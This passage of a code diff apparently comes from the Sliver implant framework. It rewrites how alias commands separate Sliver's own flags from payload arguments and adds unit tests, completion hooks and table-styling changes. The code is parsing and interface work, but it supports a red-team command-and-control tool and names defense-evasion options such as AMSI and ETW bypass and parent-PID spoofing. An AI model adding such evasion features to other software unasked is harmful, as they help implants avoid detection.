// amsi-bypass -pid 6969
|
||||||
|
// fakealias --process notepad.exe arg1 arg2
|
||||||
|
// fakealias -- --anything still-here (existing workaround, unchanged)
|
||||||
|
type ownedFlagKind int
|
||||||
|
|
||||||
|
const (
|
||||||
|
ownedBool ownedFlagKind = iota
|
||||||
|
ownedString
|
||||||
|
ownedUint32
|
||||||
|
ownedInt64
|
||||||
|
)
|
||||||
|
|
||||||
|
// ownedFlagSpec describes one Sliver-owned flag that splitAliasArgs extracts
|
||||||
|
// from the raw argument slice before the rest is handed to the alias payload.
|
||||||
|
type ownedFlagSpec struct {
|
||||||
|
long string // canonical pflag name, e.g. "process-arguments"
|
||||||
|
short string // shorthand letter, e.g. "A" ("" if the flag has none)
|
||||||
|
kind ownedFlagKind // how the value is consumed and validated
|
||||||
|
}
|
||||||
|
|
||||||
|
// baseAliasOwnedFlags are registered for every alias command.
|
||||||
|
var baseAliasOwnedFlags = []ownedFlagSpec{
|
||||||
|
{long: "process", short: "p", kind: ownedString},
|
||||||
|
{long: "process-arguments", short: "A", kind: ownedString},
|
||||||
|
{long: "ppid", short: "P", kind: ownedUint32},
|
||||||
|
{long: "save", short: "s", kind: ownedBool},
|
||||||
|
{long: "timeout", short: "t", kind: ownedInt64},
|
||||||
|
}
|
||||||
|
|
||||||
|
// assemblyAliasOwnedFlags are only owned when the alias wraps a .NET assembly;
|
||||||
|
// for every other alias they are unknown tokens and pass through to the payload.
|
||||||
|
var assemblyAliasOwnedFlags = []ownedFlagSpec{
|
||||||
|
{long: "method", short: "m", kind: ownedString},
|
||||||
|
{long: "class", short: "c", kind: ownedString},
|
||||||
|
{long: "app-domain", short: "d", kind: ownedString},
|
||||||
|
{long: "arch", short: "a", kind: ownedString},
|
||||||
|
{long: "in-process", short: "i", kind: ownedBool},
|
||||||
|
{long: "runtime", short: "r", kind: ownedString},
|
||||||
|
{long: "amsi-bypass", short: "M", kind: ownedBool},
|
||||||
|
{long: "etw-bypass", short: "E", kind: ownedBool},
|
||||||
|
}
|
||||||
|
|
||||||
|
// aliasOwnedFlagSpecs returns the flag set owned by a particular alias.
|
||||||
|
func aliasOwnedFlagSpecs(isAssembly bool) []ownedFlagSpec {
|
||||||
|
if !isAssembly {
|
||||||
|
return baseAliasOwnedFlags
|
||||||
|
}
|
||||||
|
specs := make([]ownedFlagSpec, 0, len(baseAliasOwnedFlags)+len(assemblyAliasOwnedFlags))
|
||||||
|
specs = append(specs, baseAliasOwnedFlags...)
|
||||||
|
return append(specs, assemblyAliasOwnedFlags...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ownedFlagMatch is a raw token that spelled one of the Sliver-owned flags.
|
||||||
|
type ownedFlagMatch struct {
|
||||||
|
spec ownedFlagSpec
|
||||||
|
value string // value from a "--flag=value" / "-f=value" spelling
|
||||||
|
inline bool // whether the token carried its value inline
|
||||||
|
}
|
||||||
|
|
||||||
|
// splitAliasArgs separates the Sliver-owned flags from the alias payload's own
|
||||||
|
// arguments in a raw (DisableFlagParsing) argument slice. It accepts the long
|
||||||
|
// forms --flag, --flag=value, --flag value and the shorthand forms -f, -f=value,
|
||||||
|
// -f value, mirroring pflag. Two deliberate differences from pflag:
|
||||||
|
//
|
||||||
|
// - a glued shorthand value (-pnotepad) does NOT match --process: tokens
|
||||||
|
// like the payload's own "-pid" must survive intact (#2264);
|
||||||
|
// - after a literal "--" every token is copied through verbatim, preserving
|
||||||
|
// the long-standing separator workaround.
|
||||||
|
//
|
||||||
|
// The returned map holds the raw string value of each flag that was provided;
|
||||||
|
// callers re-publish the values with applyOwnedAliasFlags.
|
||||||
|
func splitAliasArgs(raw []string, specs []ownedFlagSpec) (map[string]string, bool, []string, error) {
|
||||||
|
values := make(map[string]string)
|
||||||
|
extArgs := make([]string, 0, len(raw))
|
||||||
|
byLong, byShort := ownedFlagTables(specs)
|
||||||
|
|
||||||
|
passthrough := false
|
||||||
|
for i := 0; i < len(raw); i++ {
|
||||||
|
tok := raw[i]
|
||||||
|
|
||||||
|
// Once we have seen "--", copy everything through untouched.
|
||||||
|
if passthrough {
|
||||||
|
extArgs = append(extArgs, tok)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if tok == "--" {
|
||||||
|
passthrough = true
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if tok == "--help" || tok == "-h" {
|
||||||
|
return values, true, extArgs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
match, ok := matchOwnedFlag(tok, byLong, byShort)
|
||||||
|
if !ok {
|
||||||
|
// Not one of ours (including glued shorthands and the payload's
|
||||||
|
// own flags): the alias owns the token, pass it through untouched.
|
||||||
|
extArgs = append(extArgs, tok)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
i = takeOwnedValue(match, raw, i, values)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := validateOwnedValues(specs, values); err != nil {
|
||||||
|
return nil, false, nil, err
|
||||||
|
}
|
||||||
|
return values, false, extArgs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ownedFlagTables indexes the specs by long name and shorthand.
|
||||||
|
func ownedFlagTables(specs []ownedFlagSpec) (byLong, byShort map[string]ownedFlagSpec) {
|
||||||
|
byLong = make(map[string]ownedFlagSpec, len(specs))
|
||||||
|
byShort = make(map[string]ownedFlagSpec, len(specs))
|
||||||
|
for _, spec := range specs {
|
||||||
|
byLong[spec.long] = spec
|
||||||
|
if spec.short != "" {
|
||||||
|
byShort[spec.short] = spec
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return byLong, byShort
|
||||||
|
}
|
||||||
|
|
||||||
|
// matchOwnedFlag checks whether tok spells one of the Sliver-owned flags, in
|
||||||
|
// the long form (--name, --name=value) or shorthand form (-f, -f=value). A
|
||||||
|
// glued shorthand value (-pnotepad) deliberately does not match: pflag would
|
||||||
|
// read "-pid" as -p with value "id", which is exactly the mangling that broke
|
||||||
|
// #2264, so such tokens must fall through to the payload.
|
||||||
|
func matchOwnedFlag(tok string, byLong, byShort map[string]ownedFlagSpec) (ownedFlagMatch, bool) {
|
||||||
|
var match ownedFlagMatch
|
||||||
|
var name, value string
|
||||||
|
var hasValue, isShort bool
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(tok, "--"):
|
||||||
|
name, value, hasValue = strings.Cut(tok[2:], "=")
|
||||||
|
case strings.HasPrefix(tok, "-") && len(tok) > 1:
|
||||||
|
name, value, hasValue = strings.Cut(tok[1:], "=")
|
||||||
|
isShort = len(name) == 1
|
||||||
|
default:
|
||||||
|
return match, false
|
||||||
|
}
|
||||||
|
|
||||||
|
spec, ok := byLong[name]
|
||||||
|
if isShort {
|
||||||
|
spec, ok = byShort[name]
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
return match, false
|
||||||
|
}
|
||||||
|
match.spec, match.value, match.inline = spec, value, hasValue
|
||||||
|
return match, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// takeOwnedValue records the flag's value in values and returns the index of
|
||||||
|
// the last raw token it consumed. The "--flag value" / "-f value" spellings
|
||||||
|
// consume the following token; a bool without an inline value defaults to
|
||||||
|
// true; a value flag as the very last token is dropped and keeps its default,
|
||||||
|
// mirroring the extension behaviour.
|
||||||
|
func takeOwnedValue(match ownedFlagMatch, raw []string, i int, values map[string]string) int {
|
||||||
|
switch {
|
||||||
|
case match.spec.kind == ownedBool:
|
||||||
|
if !match.inline {
|
||||||
|
match.value = "true"
|
||||||
|
}
|
||||||
|
values[match.spec.long] = match.value
|
||||||
|
case match.inline:
|
||||||
|
values[match.spec.long] = match.value
|
||||||
|
case i+1 < len(raw):
|
||||||
|
values[match.spec.long] = raw[i+1]
|
||||||
|
return i + 1
|
||||||
|
}
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
|
||||||
|
// validateOwnedValues rejects non-numeric values for the numeric flag kinds,
|
||||||
|
// the way pflag's typed values would have.
|
||||||
|
func validateOwnedValues(specs []ownedFlagSpec, values map[string]string) error {
|
||||||
|
for _, spec := range specs {
|
||||||
|
value, provided := values[spec.long]
|
||||||
|
if !provided {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var err error
|
||||||
|
switch spec.kind {
|
||||||
|
case ownedUint32:
|
||||||
|
_, err = strconv.ParseUint(value, 10, 32)
|
||||||
|
case ownedInt64:
|
||||||
|
_, err = strconv.ParseInt(value, 10, 64)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("invalid value %q for --%s", value, spec.long)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyOwnedAliasFlags republishes the manually parsed Sliver-owned flag values
|
||||||
|
// onto the command's flag set. DisableFlagParsing prevents pflag from
|
||||||
|
// populating them, so readers such as runAliasCommand's Get* calls and
|
||||||
|
// ActiveTarget.Request (which derives the gRPC timeout from --timeout) would
|
||||||
|
// otherwise observe only the defaults.
|
||||||
|
func applyOwnedAliasFlags(cmd *cobra.Command, values map[string]string) error {
|
||||||
|
for name, value := range values {
|
||||||
|
flag := cmd.Flags().Lookup(name)
|
||||||
|
if flag == nil {
|
||||||
|
continue // e.g. an assembly flag on a non-assembly alias
|
||||||
|
}
|
||||||
|
if err := flag.Value.Set(value); err != nil {
|
||||||
|
return fmt.Errorf("invalid value %q for --%s: %w", value, name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
package alias
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2021 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"reflect"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
"github.com/spf13/pflag"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestSplitAliasArgs covers the argument passthrough regression from #2264:
|
||||||
|
// the alias payload's own flags must reach the payload intact, while the
|
||||||
|
// Sliver-owned flags are extracted and validated.
|
||||||
|
func TestSplitAliasArgs(t *testing.T) {
|
||||||
|
base := aliasOwnedFlagSpecs(false)
|
||||||
|
assembly := aliasOwnedFlagSpecs(true)
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
specs []ownedFlagSpec
|
||||||
|
in []string
|
||||||
|
values map[string]string
|
||||||
|
help bool
|
||||||
|
extArgs []string
|
||||||
|
wantErr bool
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "payload flag without -- separator (#2264 regression)",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"-pid", "6969"},
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{"-pid", "6969"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "glued shorthand is not ours and passes through",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"-pid"},
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{"-pid"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "payload flag with -- separator (existing workaround)",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"--", "--pid", "6969"},
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{"--pid", "6969"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "owned flag after -- belongs to the payload",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"--", "--save"},
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{"--save"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "long flag with separate value, then payload args",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"--process", "notepad.exe", "arg1", "arg2"},
|
||||||
|
values: map[string]string{"process": "notepad.exe"},
|
||||||
|
extArgs: []string{"arg1", "arg2"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "long flag with equals value",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"--process=notepad.exe", "arg1"},
|
||||||
|
values: map[string]string{"process": "notepad.exe"},
|
||||||
|
extArgs: []string{"arg1"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "shorthand with separate value",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"-p", "notepad.exe", "arg1"},
|
||||||
|
values: map[string]string{"process": "notepad.exe"},
|
||||||
|
extArgs: []string{"arg1"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "shorthand with equals value",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"-p=notepad.exe"},
|
||||||
|
values: map[string]string{"process": "notepad.exe"},
|
||||||
|
extArgs: []string{},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "bool shorthand and long false form",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"-s", "--save=false", "arg1"},
|
||||||
|
values: map[string]string{"save": "false"},
|
||||||
|
extArgs: []string{"arg1"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "quoted value containing spaces stays a single argument",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"-A", "-kalc -kdisable", "arg1"},
|
||||||
|
values: map[string]string{"process-arguments": "-kalc -kdisable"},
|
||||||
|
extArgs: []string{"arg1"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "valid uint32 and int64 values",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"-P", "1234", "--timeout=90"},
|
||||||
|
values: map[string]string{"ppid": "1234", "timeout": "90"},
|
||||||
|
extArgs: []string{},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "invalid uint32 value errors",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"--ppid", "notanumber"},
|
||||||
|
wantErr: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "invalid int64 value errors",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"--timeout=x"},
|
||||||
|
wantErr: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "assembly flags are owned for assembly aliases",
|
||||||
|
specs: assembly,
|
||||||
|
in: []string{"--method", "Run", "--class", "Prog", "-i", "-M", "--arch", "x64", "payloadArg"},
|
||||||
|
values: map[string]string{
|
||||||
|
"method": "Run", "class": "Prog", "in-process": "true",
|
||||||
|
"amsi-bypass": "true", "arch": "x64",
|
||||||
|
},
|
||||||
|
extArgs: []string{"payloadArg"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "assembly flags pass through for non-assembly aliases",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"--method", "Run"},
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{"--method", "Run"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "help flags are detected",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"--help"},
|
||||||
|
help: true,
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "short help is detected",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"-h"},
|
||||||
|
help: true,
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "value flag as last token keeps its default",
|
||||||
|
specs: base,
|
||||||
|
in: []string{"arg1", "--process"},
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{"arg1"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "empty input",
|
||||||
|
specs: base,
|
||||||
|
in: nil,
|
||||||
|
values: map[string]string{},
|
||||||
|
extArgs: []string{},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
values, help, extArgs, err := splitAliasArgs(tc.in, tc.specs)
|
||||||
|
|
||||||
|
if tc.wantErr {
|
||||||
|
if err == nil {
|
||||||
|
t.Fatalf("expected error, got values=%#v help=%v extArgs=%#v", values, help, extArgs)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("unexpected error: %s", err)
|
||||||
|
}
|
||||||
|
if help != tc.help {
|
||||||
|
t.Errorf("help: got %v, want %v", help, tc.help)
|
||||||
|
}
|
||||||
|
if !reflect.DeepEqual(values, tc.values) {
|
||||||
|
t.Errorf("values: got %#v, want %#v", values, tc.values)
|
||||||
|
}
|
||||||
|
if !reflect.DeepEqual(extArgs, tc.extArgs) {
|
||||||
|
t.Errorf("extArgs: got %#v, want %#v", extArgs, tc.extArgs)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestApplyOwnedAliasFlags checks that manually parsed values are re-published
|
||||||
|
// on the command's flag set for every value type an alias can own.
|
||||||
|
func TestApplyOwnedAliasFlags(t *testing.T) {
|
||||||
|
cmd := &cobra.Command{}
|
||||||
|
f := pflag.NewFlagSet("alias-test", pflag.ContinueOnError)
|
||||||
|
f.StringP("process", "p", "", "host process")
|
||||||
|
f.StringP("process-arguments", "A", "", "host process arguments")
|
||||||
|
f.Uint32P("ppid", "P", 0, "parent pid")
|
||||||
|
f.BoolP("save", "s", false, "save output")
|
||||||
|
f.Int64P("timeout", "t", 60, "timeout")
|
||||||
|
f.BoolP("amsi-bypass", "M", false, "amsi bypass")
|
||||||
|
cmd.Flags().AddFlagSet(f)
|
||||||
|
|
||||||
|
err := applyOwnedAliasFlags(cmd, map[string]string{
|
||||||
|
"process": "notepad.exe",
|
||||||
|
"process-arguments": "-k foo",
|
||||||
|
"ppid": "1234",
|
||||||
|
"save": "true",
|
||||||
|
"timeout": "90",
|
||||||
|
"amsi-bypass": "true",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("unexpected error: %s", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for name, want := range map[string]interface{}{
|
||||||
|
"process": "notepad.exe", "process-arguments": "-k foo",
|
||||||
|
} {
|
||||||
|
got, _ := cmd.Flags().GetString(name)
|
||||||
|
if got != want.(string) {
|
||||||
|
t.Errorf("%s: got %q, want %q", name, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ppid, _ := cmd.Flags().GetUint32("ppid"); ppid != 1234 {
|
||||||
|
t.Errorf("ppid: got %d, want 1234", ppid)
|
||||||
|
}
|
||||||
|
if save, _ := cmd.Flags().GetBool("save"); !save {
|
||||||
|
t.Error("save: got false, want true")
|
||||||
|
}
|
||||||
|
if timeout, _ := cmd.Flags().GetInt64("timeout"); timeout != 90 {
|
||||||
|
t.Errorf("timeout: got %d, want 90", timeout)
|
||||||
|
}
|
||||||
|
if amsi, _ := cmd.Flags().GetBool("amsi-bypass"); !amsi {
|
||||||
|
t.Error("amsi-bypass: got false, want true")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unset flags keep their defaults.
|
||||||
|
if inProc := cmd.Flags().Lookup("in-process"); inProc != nil {
|
||||||
|
t.Error("in-process should not be registered on this command")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package alias
|
package alias
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -32,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
aliasCmd.AddCommand(aliasLoadCmd)
|
aliasCmd.AddCommand(aliasLoadCmd)
|
||||||
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
|
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
|
||||||
|
|
||||||
aliasInstallCmd := &cobra.Command{
|
aliasInstallCmd := &cobra.Command{
|
||||||
Use: consts.InstallStr + " [ALIAS]",
|
Use: consts.InstallStr + " [ALIAS]",
|
||||||
@@ -44,6 +46,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
aliasCmd.AddCommand(aliasInstallCmd)
|
aliasCmd.AddCommand(aliasInstallCmd)
|
||||||
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
|
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
|
||||||
|
|
||||||
aliasRemove := &cobra.Command{
|
aliasRemove := &cobra.Command{
|
||||||
Use: consts.RmStr + " [ALIAS]",
|
Use: consts.RmStr + " [ALIAS]",
|
||||||
|
|||||||
@@ -215,8 +215,6 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
|||||||
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
|
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
longHelp.WriteString("\n\n⚠️ If you're having issues passing arguments to the alias please read:\n")
|
|
||||||
longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
|
|
||||||
|
|
||||||
// for each alias command, add a new app command
|
// for each alias command, add a new app command
|
||||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||||
@@ -227,9 +225,14 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
|||||||
Run: func(cmd *cobra.Command, args []string) {
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
runAliasCommand(cmd, con, args)
|
runAliasCommand(cmd, con, args)
|
||||||
},
|
},
|
||||||
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||||
GroupID: consts.AliasHelpGroup,
|
// DisableFlagParsing keeps the alias payload's own flags (which are
|
||||||
Annotations: makeAliasPlatformFilters(aliasManifest),
|
// unknown to pflag) from being rejected or swallowed; we split the
|
||||||
|
// Sliver-owned flags out of the raw slice ourselves in
|
||||||
|
// runAliasCommand (#2264, same treatment as extensions).
|
||||||
|
DisableFlagParsing: true,
|
||||||
|
GroupID: consts.AliasHelpGroup,
|
||||||
|
Annotations: makeAliasPlatformFilters(aliasManifest),
|
||||||
}
|
}
|
||||||
|
|
||||||
if aliasManifest.IsAssembly {
|
if aliasManifest.IsAssembly {
|
||||||
@@ -250,7 +253,7 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
|||||||
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
|
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
|
||||||
f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||||
f.BoolP("save", "s", false, "Save output to disk")
|
f.BoolP("save", "s", false, "Save output to disk")
|
||||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
f.Int64P("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||||
addAliasCmd.Flags().AddFlagSet(f)
|
addAliasCmd.Flags().AddFlagSet(f)
|
||||||
|
|
||||||
// Setup completions for alias arguments
|
// Setup completions for alias arguments
|
||||||
@@ -333,6 +336,27 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
aliasManifest := loadedAlias.Manifest
|
aliasManifest := loadedAlias.Manifest
|
||||||
|
|
||||||
|
// The command runs with DisableFlagParsing, so args is the raw, unstripped
|
||||||
|
// slice. Separate the Sliver-owned flags from the payload's own arguments
|
||||||
|
// and re-publish them on the flag set (so the Get* readers below and
|
||||||
|
// Request()'s --timeout still work), then hand only the payload arguments
|
||||||
|
// to the execution paths (#2264, same treatment as extensions in #2323).
|
||||||
|
ownedValues, helpRequested, payloadArgs, err := splitAliasArgs(args, aliasOwnedFlagSpecs(aliasManifest.IsAssembly))
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if helpRequested {
|
||||||
|
_ = cmd.Help()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := applyOwnedAliasFlags(cmd, ownedValues); err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
args = payloadArgs
|
||||||
|
|
||||||
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
|
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||||
@@ -400,7 +424,13 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
|||||||
|
|
||||||
var outFilePath *os.File
|
var outFilePath *os.File
|
||||||
if save, _ := cmd.Flags().GetBool("save"); save {
|
if save, _ := cmd.Flags().GetBool("save"); save {
|
||||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
|
hostname := ""
|
||||||
|
if session != nil {
|
||||||
|
hostname = session.GetHostname()
|
||||||
|
} else if beacon != nil {
|
||||||
|
hostname = beacon.GetHostname()
|
||||||
|
}
|
||||||
|
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(hostname)))
|
||||||
outFilePath, err = os.CreateTemp("", outFile)
|
outFilePath, err = os.CreateTemp("", outFile)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("%s\n", err)
|
con.PrintErrorf("%s\n", err)
|
||||||
|
|||||||
@@ -164,7 +164,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
cacheEntry, ok := value.(pkgCacheEntry)
|
cacheEntry, ok := value.(pkgCacheEntry)
|
||||||
if !ok {
|
if !ok {
|
||||||
// Something is wrong with this entry
|
// Something is wrong with this entry
|
||||||
pkgCache.Delete(value)
|
pkgCache.Delete(key)
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
|
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
|
||||||
@@ -428,7 +428,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
|||||||
|
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
tw.SetTitle(console.StyleBold.Render("Packages"))
|
||||||
|
|
||||||
urlMargin := 150 // Extra margin needed to show URL column
|
urlMargin := 150 // Extra margin needed to show URL column
|
||||||
|
|
||||||
@@ -493,26 +493,26 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
|||||||
|
|
||||||
rows := []table.Row{}
|
rows := []table.Row{}
|
||||||
for _, pkg := range entries {
|
for _, pkg := range entries {
|
||||||
color := console.Normal
|
style := console.StyleNormal
|
||||||
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
||||||
color = console.Green
|
style = console.StyleGreen
|
||||||
}
|
}
|
||||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||||
rows = append(rows, table.Row{
|
rows = append(rows, table.Row{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
style.Render(pkg.ArmoryName),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
style.Render(pkg.CommandName),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
style.Render(pkg.Version),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
style.Render(pkg.Type),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
style.Render(pkg.Help),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
style.Render(pkg.URL),
|
||||||
})
|
})
|
||||||
} else {
|
} else {
|
||||||
